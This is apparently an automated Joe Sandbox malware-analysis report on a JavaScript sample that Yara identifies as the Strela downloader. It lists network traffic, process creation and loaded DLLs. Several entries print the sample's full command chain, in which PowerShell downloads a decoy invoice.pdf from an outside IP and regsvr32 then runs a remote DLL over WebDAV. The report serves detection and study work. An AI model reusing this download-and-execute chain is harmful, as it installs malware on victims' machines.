TCP traffic: 192.168.2.3:49712 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.3:49711 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.3031Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.3031Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1554994028.000001E6489D8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1555055791.000001E6489E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1632346747.000002A0BCC4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1632346747.000002A0BCC6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/:
Source: net.exe, 00000007.00000002.1632346747.000002A0BCC1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/scebs
Source: svchost.exe, 00000009.00000002.2857841218.000001F7A0400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.1632454403.000001F7A0600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3088, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2837518771550414407.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4188:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yt2oz4no.aaf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1628,i,3911696633638114002,12569793280079112653,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1628,i,3911696633638114002,12569793280079112653,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: virtdisk.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: virtdisk.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
